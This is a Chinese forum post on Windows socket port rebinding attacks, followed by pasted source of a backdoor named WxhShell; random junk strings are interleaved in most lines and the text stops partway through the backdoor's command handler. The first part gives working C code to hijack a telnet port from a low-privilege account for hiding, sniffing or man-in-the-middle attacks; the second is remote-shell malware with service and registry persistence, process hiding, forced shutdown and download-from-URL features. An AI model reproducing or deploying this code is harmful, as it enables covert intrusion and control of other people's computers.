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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  3 GL,=q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ' ~ 1/*F%8  
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  saddr.sin_family = AF_INET; ~s{ V!)0  
Sq SiuO.D  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ` 7P%muY.  
9e*o$)j_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); m-2!r*(zt  
nX_w F`n"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8ZF!}kb0F  
}nRTw2-z  
  这意味着什么?意味着可以进行如下的攻击: 34,'smHi%  
K!,9qH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Yosfk\D  
TWM^5 L:U  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W#@6e')d  
j#jwK(:]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7?;ZE:  
/ K(l[M  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M`&78j  
;4QE.&s`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `\r <3?  
&`IJ55Z-)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Y?6}r;<  
^;sE)L6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bA1O]:`  
-W{ !`<8D  
  #include 6j Rewj  
  #include q2P_37  
  #include 5\Rg%Ezl  
  #include    C]Q`!e  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Iqci}G%r  
  int main() ^WrL   
  { P(.XB`  
  WORD wVersionRequested; ;@*<M\O  
  DWORD ret; {%\@Z-9%q,  
  WSADATA wsaData; vScEQS$>  
  BOOL val; n/{ pQ&B  
  SOCKADDR_IN saddr; V aoqI  
  SOCKADDR_IN scaddr; e'sS",o*  
  int err; ?kK3%uJy&  
  SOCKET s; {9FL}Jrt  
  SOCKET sc; R7 rO7M !  
  int caddsize; =M6{{lI/  
  HANDLE mt; 5@J]#bp0M  
  DWORD tid;   {"2Hv;x  
  wVersionRequested = MAKEWORD( 2, 2 ); Mh2Zj  
  err = WSAStartup( wVersionRequested, &wsaData ); {oS/Xa  
  if ( err != 0 ) { r~G  amjS  
  printf("error!WSAStartup failed!\n"); >`l^ C  
  return -1; 1En:QQ4/  
  } UIkO_/}  
  saddr.sin_family = AF_INET; &;bey4_J  
   ,9M2'6=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :Q,~Nw>  
-zUBK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p"6ydXn%  
  saddr.sin_port = htons(23); IML.6<,(Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ma xpR>7`j  
  { nIZsKbnw  
  printf("error!socket failed!\n"); E[i#8_  
  return -1; I/%L,XyRI  
  } kRr/x-"  
  val = TRUE; eE_$ADEf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 O6,2M[a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _kc}:  
  { &7,:: $cu  
  printf("error!setsockopt failed!\n"); yFn~rv|&G  
  return -1; ILx4 [m7  
  } )%b 5uZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K^h9\< w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [&IcIZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (+6N)9rj`/  
VN0KK 1 I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^ZIs>.'  
  { +^jm_+  
  ret=GetLastError(); Rt7l`|g a+  
  printf("error!bind failed!\n"); (Y*9 [hm  
  return -1; -Mf-8zw8G  
  } w5yX~8UzJ  
  listen(s,2); 0|]d^bo  
  while(1) ">M&/}4  
  { 3ZN\F  
  caddsize = sizeof(scaddr); ]9~Il#  
  //接受连接请求 }ik N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g{ ;OgS3>  
  if(sc!=INVALID_SOCKET) ,:#h;4!VRF  
  { a*t @k*d_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); r7#.DJnN.  
  if(mt==NULL) Nobu= Z  
  { g<ov` bF  
  printf("Thread Creat Failed!\n"); .<E7Ey#  
  break; *Z\AO'h=Z  
  } $ce*W 9`  
  } u9(42jj[$U  
  CloseHandle(mt); N ]14~r=  
  } ,c0t#KgQ.  
  closesocket(s); E3(o}O  
  WSACleanup(); Vc6 >i|"-O  
  return 0; +* F e   
  }   D>^g2!b:  
  DWORD WINAPI ClientThread(LPVOID lpParam) EM@EB< pRX  
  { H!6+x*P0  
  SOCKET ss = (SOCKET)lpParam; (sI`FW_  
  SOCKET sc; hT,rcIkg:  
  unsigned char buf[4096]; yJ `{\7Uqg  
  SOCKADDR_IN saddr; y>:U&P^  
  long num; `A5n6*A7  
  DWORD val; cs _  
  DWORD ret; M6 8foeeN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7<=p*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <CJy3<$u  
  saddr.sin_family = AF_INET; "',;pGg|K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7KGb2V<t  
  saddr.sin_port = htons(23); ]jPP]Z:y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eh>FYx( S  
  { 0~+*$W  
  printf("error!socket failed!\n"); 15En$6>  
  return -1; Q^=0p0  
  } 6xA xLZz<  
  val = 100; jse!EtB:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (`_fP.Ogb  
  { u.G aMl4 (  
  ret = GetLastError(); {LVA_7@  
  return -1; BJ\81 R  
  } WMW=RgiW\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ir>S\VT4  
  { \rATmjsKzS  
  ret = GetLastError(); V rd16s  
  return -1; sP}u  zS  
  } x%O6/rl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,L.V>Ae  
  { _"OE}$C  
  printf("error!socket connect failed!\n"); '/OQ[f=K  
  closesocket(sc); @Kn@j D;  
  closesocket(ss); yTn<5T[H  
  return -1; ^16zZ*  
  } H:9G/Nev  
  while(1) S{v]B_N[M  
  { #0Uz1[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o2hk!#5[4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [clwmx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 xt IF)M  
  num = recv(ss,buf,4096,0); #_`q bIOAj  
  if(num>0) eMdf [eS  
  send(sc,buf,num,0); `iN\@)E  
  else if(num==0) Jf0i$  
  break; V1GkX =H},  
  num = recv(sc,buf,4096,0); 4*9t:D|}  
  if(num>0) lzz;L z  
  send(ss,buf,num,0); )v11j.D  
  else if(num==0) pq\N 2d  
  break; ASrRMH[  
  } tl*h"du^  
  closesocket(ss); 8h4]<T  
  closesocket(sc); wf1p/bpf  
  return 0 ; >@ xe-0z  
  } &cJ?mSI  
7&OJ8B/  
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========================================================== NQ;$V:s)  
7-Oa34ba+  
下边附上一个代码,,WXhSHELL ^ERdf2  
}%jpqip  
========================================================== 1X`,7B@pz  
=kzp$ i  
#include "stdafx.h" >M!LC  
Jw&Fox7p  
#include <stdio.h> lhnGk'@d  
#include <string.h> bBXLW}W  
#include <windows.h> `W" ;4A  
#include <winsock2.h> O9o]4;  
#include <winsvc.h>  UBj&T^j  
#include <urlmon.h> h^qZi@L  
F u^j- Io  
#pragma comment (lib, "Ws2_32.lib") f [.'V1  
#pragma comment (lib, "urlmon.lib") rlawH}1b  
A%7f;&x!  
#define MAX_USER   100 // 最大客户端连接数 hW/Ve'x[  
#define BUF_SOCK   200 // sock buffer (i1x<  
#define KEY_BUFF   255 // 输入 buffer WHOX<YJs  
"frioi`a2  
#define REBOOT     0   // 重启 -^(KGu&L&u  
#define SHUTDOWN   1   // 关机 4zt:3bW U  
z}.6yHS  
#define DEF_PORT   5000 // 监听端口 4\p%|G^hU  
mk^, {D  
#define REG_LEN     16   // 注册表键长度 8O(L;&h  
#define SVC_LEN     80   // NT服务名长度 tLN^k;w  
3 =c#LUA`  
// 从dll定义API z$}9f*W}B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zK1]o-wSAT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YTmHht{j#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \%bJXTK&W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (=fLWK{8  
Lj#xZ!mQS  
// wxhshell配置信息 qO8:|q1%;\  
struct WSCFG { r}^1dO  
  int ws_port;         // 监听端口 afna7TlS  
  char ws_passstr[REG_LEN]; // 口令 N{&Lo}6F  
  int ws_autoins;       // 安装标记, 1=yes 0=no x4g/ok  
  char ws_regname[REG_LEN]; // 注册表键名 Ovj^ 7r:<s  
  char ws_svcname[REG_LEN]; // 服务名 X%&7-PO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S w%6-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V=th-o3[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FE^/us7r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GG<0k\RN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U{bv|vF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &7>]# *  
*| W*Mu  
}; G!=(^G@J;  
s3yGL  
// default Wxhshell configuration  qsXkm4  
struct WSCFG wscfg={DEF_PORT, <_Z.fdUA  
    "xuhuanlingzhe", }YBuS3{  
    1, -sZ'<(3  
    "Wxhshell", Fw{#4  
    "Wxhshell", p~=z)7% e'  
            "WxhShell Service", ov H'_'  
    "Wrsky Windows CmdShell Service", 7CSz  
    "Please Input Your Password: ", :@"o.8p   
  1, }$L1A   
  "http://www.wrsky.com/wxhshell.exe", Q _!tn*  
  "Wxhshell.exe" Y<(7u`F  
    }; }7b{ZbDI  
C4`&_yoP4-  
// 消息定义模块 IDD`N{EA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TQNdBq5I6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m ie~. "  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XTk :lzFH  
char *msg_ws_ext="\n\rExit."; |2n*Ds'  
char *msg_ws_end="\n\rQuit."; (Fuu V{x|  
char *msg_ws_boot="\n\rReboot..."; TOKt{`2}  
char *msg_ws_poff="\n\rShutdown..."; _e ;b B?S  
char *msg_ws_down="\n\rSave to "; *{j;LA.BR#  
67&Q<`V1*q  
char *msg_ws_err="\n\rErr!"; (|o @  
char *msg_ws_ok="\n\rOK!"; $gz8! f?  
F?]J`F\I  
char ExeFile[MAX_PATH]; Ta/zDc"e  
int nUser = 0; }cGILH%  
HANDLE handles[MAX_USER]; f(eXny@Y  
int OsIsNt; ';8 ,RTe  
X[H.t$w5A  
SERVICE_STATUS       serviceStatus; T}1"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \v\ONp"  
tjB)-=j[  
// 函数声明 );i J9+ V}  
int Install(void); 8IWT;%  
int Uninstall(void); 1@ &J"*  
int DownloadFile(char *sURL, SOCKET wsh); 6SE^+@jR  
int Boot(int flag); =54D#,[B  
void HideProc(void); DNgh#!\X  
int GetOsVer(void); wb(S7OsMO  
int Wxhshell(SOCKET wsl); s_RK x)w@  
void TalkWithClient(void *cs); E<u(Yw6=  
int CmdShell(SOCKET sock); IDw`k[k  
int StartFromService(void); E'D16Rhp  
int StartWxhshell(LPSTR lpCmdLine); &{glwVKV  
NB'G{),)Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DbB<8$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C9MK3vtD.  
<pa-C2Ky  
// 数据结构和表定义 d}Guj/cx,  
SERVICE_TABLE_ENTRY DispatchTable[] = N%Y!{k5T7  
{ xoj,>[7 D  
{wscfg.ws_svcname, NTServiceMain}, @4Bl&(3S  
{NULL, NULL} (jhi<eV  
}; KWD{_h{R  
y( 22m+B  
// 自我安装 IBeorDIZ  
int Install(void) O;V^Fk(  
{ %3TioM[B  
  char svExeFile[MAX_PATH]; "M/) LXn:0  
  HKEY key; Q(aNa!  
  strcpy(svExeFile,ExeFile); B6TE9IoSb8  
5{+2#-  
// 如果是win9x系统,修改注册表设为自启动 bx{njo1Mr  
if(!OsIsNt) { .=<s@Sg,t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pV (Mh[ }P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YU+P+m2X  
  RegCloseKey(key); N#RC;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { st)v'ce,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a'Odw2Q_  
  RegCloseKey(key); $8&Y(`  
  return 0; )6X-m9.X  
    } WjR2:kT  
  } {{_v.d~1  
} cfv: Ld m  
else { 1BW9,Xr  
jVOq/o  
// 如果是NT以上系统,安装为系统服务 D*VO;?D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ntPj9#lf  
if (schSCManager!=0) +$VDV4l  
{ u {\>iQ   
  SC_HANDLE schService = CreateService P2`F" Qsq  
  ( (;05=DsO  
  schSCManager, ik)u/r DW  
  wscfg.ws_svcname, [N~-9  
  wscfg.ws_svcdisp, m{Uh{G$  
  SERVICE_ALL_ACCESS, :BV$3]y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qa@;S,lp  
  SERVICE_AUTO_START, SDSP4W5  
  SERVICE_ERROR_NORMAL, UY({[?Se  
  svExeFile, LY)Wwl*wc  
  NULL, Ci 4c8  
  NULL, J@<f*  
  NULL, %(6+{'j~#  
  NULL, LE5N2k  
  NULL :%Iv<d<  
  ); J"GsdLG.-  
  if (schService!=0) qc)+T_m  
  { tl*v(ZW  
  CloseServiceHandle(schService); \h s7>5O^K  
  CloseServiceHandle(schSCManager); -}sMOy`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gpzFY"MS=  
  strcat(svExeFile,wscfg.ws_svcname); .mqMzV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NX(+%EBcA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d_&pxy? >  
  RegCloseKey(key); o+ {i26%  
  return 0; '~f*O0_  
    } zd- *UF i  
  } qB K68B)  
  CloseServiceHandle(schSCManager); i?@7>Ca  
} Evg#sPu\  
} QQ{*j7i)  
{g1R?W\LZ  
return 1; 9eP*N(m<  
} EXH,+3fQp  
{E)tzBI;^  
// 自我卸载 }QQl.'  
int Uninstall(void) 9 ;uw3vI%  
{ BdU .;_K  
  HKEY key; @gf <%>  
Gl3g.`X{$@  
if(!OsIsNt) { j"TEp$x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y,1U]1TP  
  RegDeleteValue(key,wscfg.ws_regname); ,|?#+O{  
  RegCloseKey(key); x5smJ__/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K%/\XnCY  
  RegDeleteValue(key,wscfg.ws_regname); gN(kRhp  
  RegCloseKey(key); F g):>];<9  
  return 0; N.]~%)K:{  
  } EW4a@  
} IUh9skW5  
} UA6 C/  
else { 9fTl6?x  
8dt=@pwx&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mRyf+O[  
if (schSCManager!=0) +jq@!P"}d  
{ jVGAgR=[G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %yKcp5_  
  if (schService!=0) b">"NvlB  
  { AA ~7"2e  
  if(DeleteService(schService)!=0) { 47*2QL^zj  
  CloseServiceHandle(schService); !H c6$  
  CloseServiceHandle(schSCManager); &6Lh>n(  
  return 0; ^b$G.h{o!E  
  } n[y^S3}%;  
  CloseServiceHandle(schService);  vmfFR  
  } _(io8zqe{j  
  CloseServiceHandle(schSCManager); ' Gx\  
} :nqDX  
} !{(crfXB  
QFhyidm=]  
return 1; Pd d(1K*  
} 3^q9ll7Op  
l6xqc,h!K  
// 从指定url下载文件 7oUo[  
int DownloadFile(char *sURL, SOCKET wsh) Rw[!Jq  
{ 8(q8}s$>  
  HRESULT hr; 4 8 J{Y3F  
char seps[]= "/"; F2<Q~gQ;  
char *token; 3|G~_'`RLt  
char *file; 9<P%?Q  
char myURL[MAX_PATH]; J?Q@f  
char myFILE[MAX_PATH]; @{3_7  
GvA4.s,  
strcpy(myURL,sURL); +@8, uL  
  token=strtok(myURL,seps); I3x+pa^]2  
  while(token!=NULL) /L! =##  
  { "iK'O =M  
    file=token; AOL=;z9c#  
  token=strtok(NULL,seps); PV=sqLM~  
  } &n83>Q  
RCK*?\m5  
GetCurrentDirectory(MAX_PATH,myFILE); #jj (S\WY  
strcat(myFILE, "\\"); [-e$4^+9  
strcat(myFILE, file); 3qNuv];2  
  send(wsh,myFILE,strlen(myFILE),0); R&P^rrC@B5  
send(wsh,"...",3,0); ?aTC+\=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CJ)u#PmkJ  
  if(hr==S_OK) *?Wr^T  
return 0; +mKII>{  
else km lb,P  
return 1; 6 9uDc  
X ) =-a  
} aGE} EK}  
KiC,O7&<  
// 系统电源模块 c1*^ \   
int Boot(int flag) @&Yl'&pn-R  
{ !>K=@9NC|.  
  HANDLE hToken; Dp} $q`F[  
  TOKEN_PRIVILEGES tkp; ~\u>jel  
Z~|%asjFE  
  if(OsIsNt) { ~e){2_J&n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yC|odX#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w`#9Re  
    tkp.PrivilegeCount = 1; UA0( cK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k4:=y9`R}$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bsI?=lO  
if(flag==REBOOT) { YVz,P_\(m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SST@   
  return 0; ^tjM1uaZ5(  
} (0?FZ.9%  
else { 2U+Fa t@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i8R 2Y9Q*O  
  return 0; lq  Av  
} Nlc3S+$`z  
  } NcSi%]  
  else { 1mfB6p1Z(  
if(flag==REBOOT) { 'Q*lp!2>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XwU1CejP0  
  return 0; n4+ ^f~Y  
} _71I9V&  
else { 8N#.@\'kz.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >7W8_6sC<  
  return 0; Gh%dVP9B@P  
} 8<E U|/O  
} f=4q]y#& X  
6"+bCx0:  
return 1; gG(9&}@(  
} # .OCoc  
"88<{xL  
// win9x进程隐藏模块 _XI,z0(  
void HideProc(void) -Zg@#H  
{ }72+i  
r6 pz(rCs}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {qSYe!`  
  if ( hKernel != NULL )  {qH+S/  
  { k)9 pkPl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T^Xum2Ec  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o1 &Oug  
    FreeLibrary(hKernel); c&SSf_0O*  
  } Y#U0g|UDn  
s=#[>^?  
return; N\hHu6  
} -li;w tCS  
vFgnbWxG  
// 获取操作系统版本 bGp3 V. H  
int GetOsVer(void) 7zXX& S  
{ h~&5;  
  OSVERSIONINFO winfo; XJ7mvLM;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U4._a  
  GetVersionEx(&winfo); DpL|aRdbK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "j}fcrlG9  
  return 1; Bjb8#n04  
  else BUla2p  
  return 0; 95tHi re  
} ::Di  
9NC'iFQ#  
// 客户端句柄模块 E I&)+cC  
int Wxhshell(SOCKET wsl) l9NET  
{ ^JB5-EtL(  
  SOCKET wsh; @c%h fI  
  struct sockaddr_in client; ~t.i;eu  
  DWORD myID; z"{Ji{>%=  
r5!Sps3B  
  while(nUser<MAX_USER) w"E.Va  
{ ?)/&tk9.n  
  int nSize=sizeof(client); 0 |Rmb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); - I j  
  if(wsh==INVALID_SOCKET) return 1; t hQ)J|1  
T`Qg+Q$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R"JT+m  
if(handles[nUser]==0) (V8lmp-F  
  closesocket(wsh); {F*81q\  
else Q$^Kf]pD  
  nUser++; fq[,9lK  
  } 9m2Yrj93  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <\5E{/7Tl  
"3uPK$  
  return 0; SBG.t:  
} Lq5Eu$;r  
zT _[pa)O`  
// 关闭 socket { Em fw9L  
void CloseIt(SOCKET wsh) 4jz2x #T  
{ X>s'_F?  
closesocket(wsh); aK'%E3!~=x  
nUser--; 8$6^S{M3  
ExitThread(0); !K_ ke h  
} 7|pF (sb0  
jb!15Vlt"  
// 客户端请求句柄 @ u2 P&|:{  
void TalkWithClient(void *cs) |(UkI?V  
{ !XrnD#  
w 8oIq*  
  SOCKET wsh=(SOCKET)cs; L t.Vo  
  char pwd[SVC_LEN]; /AUXO]  
  char cmd[KEY_BUFF]; `F' >NNY  
char chr[1]; +Zi@+|"BCN  
int i,j; |),3`*N  
pU5t,  
  while (nUser < MAX_USER) { /m+\oZ ]d  
WB>M7MI%  
if(wscfg.ws_passstr) { N:7;c}~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mM;p 7 sJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B)(ZRH  
  //ZeroMemory(pwd,KEY_BUFF); m<e-XT  
      i=0; ^-pHhh|g  
  while(i<SVC_LEN) { "_36WX  
=jW= Z$3q  
  // 设置超时 Bis'59?U_  
  fd_set FdRead; `]l*H3+hg  
  struct timeval TimeOut; R"k}wRnxY  
  FD_ZERO(&FdRead); SRpPLY{:F  
  FD_SET(wsh,&FdRead); 6 2#dSd}HG  
  TimeOut.tv_sec=8; Z3Y(g  
  TimeOut.tv_usec=0; V|zatMHs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I'T@}{h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u MM?s?q  
q.g0Oz@ z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aYPD4yX"/  
  pwd=chr[0]; H+2m  
  if(chr[0]==0xd || chr[0]==0xa) { t"L-9kCM  
  pwd=0; e8ZMB$byP  
  break; p7d[)* L>C  
  } *^ -~J/  
  i++; >$iQDVh!  
    } bpWEF b'f  
BF(.^oh"n0  
  // 如果是非法用户,关闭 socket DAtZp%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |dQ-l !  
} vB9v8@[I&  
Ct,|g =(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B&k"B?9mL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2<' 1m{  
3Zeh$DZ  
while(1) { bQu1L>c,Uw  
2n8spLZYGY  
  ZeroMemory(cmd,KEY_BUFF); ;p4|M  
ZpTT9{PT=:  
      // 自动支持客户端 telnet标准   F8%.-.l)  
  j=0; 2W 9N-t2 1  
  while(j<KEY_BUFF) { TbPTgE *  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tHV81F1J  
  cmd[j]=chr[0]; b63tjqk  
  if(chr[0]==0xa || chr[0]==0xd) { 5t&;>-A'?'  
  cmd[j]=0; Rr/sxR|0_  
  break; Fj~,>   
  } wnoL<p  
  j++; V:vYS  
    } UL   
:#=XT9  
  // 下载文件 h1`u-tc2x  
  if(strstr(cmd,"http://")) { uzpW0(_i3a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QCvz|)  
  if(DownloadFile(cmd,wsh)) )cd5iE:FO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JVgV,4 1  
  else MTxe5ob`$Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y.'5*08S0  
  } %qf ?_2v  
  else { W8R"X~!V  
+)eI8o0#  
    switch(cmd[0]) { P,/=c(5\}  
  ) FnJLd  
  // 帮助 Y^~Dr|5%  
  case '?': { 20XN5dTFT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z_qOQ%l  
    break; }b5If7  
  } OLS.0UEc  
  // 安装 [Q5>4WY  
  case 'i': { tEXY>=  
    if(Install()) Ckc4U. t|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FV->226o%  
    else #nOS7Q#uW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }pzUHl>  
    break; =5jng.  
    } lQSKY}h  
  // 卸载 )LP=IT  
  case 'r': { $ 3/G)/A  
    if(Uninstall()) Vo2{aK;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3RyB 0 n  
    else  A/zZ%h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rt^~db  
    break; O!7v&$]1  
    } /) Pf ]  
  // 显示 wxhshell 所在路径 e0ea2 2  
  case 'p': { 7"c^$fj  
    char svExeFile[MAX_PATH]; N @24)g?  
    strcpy(svExeFile,"\n\r"); !leLOi2T  
      strcat(svExeFile,ExeFile); 'nO%1BZj+  
        send(wsh,svExeFile,strlen(svExeFile),0); [h GS*  
    break; mrgieb%  
    } QmpP_eS >  
  // 重启 "`jey)&H*M  
  case 'b': { Z+*t=?L,,G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &2EimP  
    if(Boot(REBOOT)) =I}8-AS~V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \<bar ~  
    else { u\9t+wi}<  
    closesocket(wsh); vCB0 x:/  
    ExitThread(0); 4._ U  
    } HoIK^t~VT#  
    break; -t:~d:  
    } GV1SKa  
  // 关机 ;MH<T6b  
  case 'd': { 6/Pw'4H9$  
